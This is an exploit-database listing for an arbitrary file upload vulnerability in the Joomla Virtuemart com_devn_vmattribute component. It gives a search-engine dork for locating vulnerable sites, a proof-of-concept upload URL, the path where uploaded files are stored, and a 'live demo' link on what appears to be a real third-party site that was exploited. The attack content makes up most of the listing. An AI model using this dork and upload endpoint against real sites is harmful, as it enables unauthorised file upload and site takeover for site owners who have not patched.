Joomla Virtuemart 2.6. com_devn_vmattribute Arbitrary File Upload Vulnerability

2016.10.11
Credit: howucan
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A
Dork: inurl:/index.php?option=com_devn_vmattribute

########################### G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G Exploit Title : Joomla Virtuemart 2.6.10, component com_devn_vmattribute Arbitrary File Upload Vulnerability Exploit Author : howucan Facebook : https://www.facebook.com/howucan.gr/ Homepage : https://howucan.gr Dork : inurl:/index.php?option=com_devn_vmattribute Tested on: Kali Linux Date: 2016/10/09 Poc : http://127.0.0.1/path/index.php?option=com_devn_vmattribute&view=images&task=upload&tmpl=component&css=0 Path : http://127.0.0.1/path/images/devnproduct/temp/thumb/lol1475919187.png Live Demo : http://azwebguys.com/design-tool/images/devnproduct/temp/thumb/lol1475920123.png PAOK G4 - Salonika Punk Rock City G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G4G ###########################


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top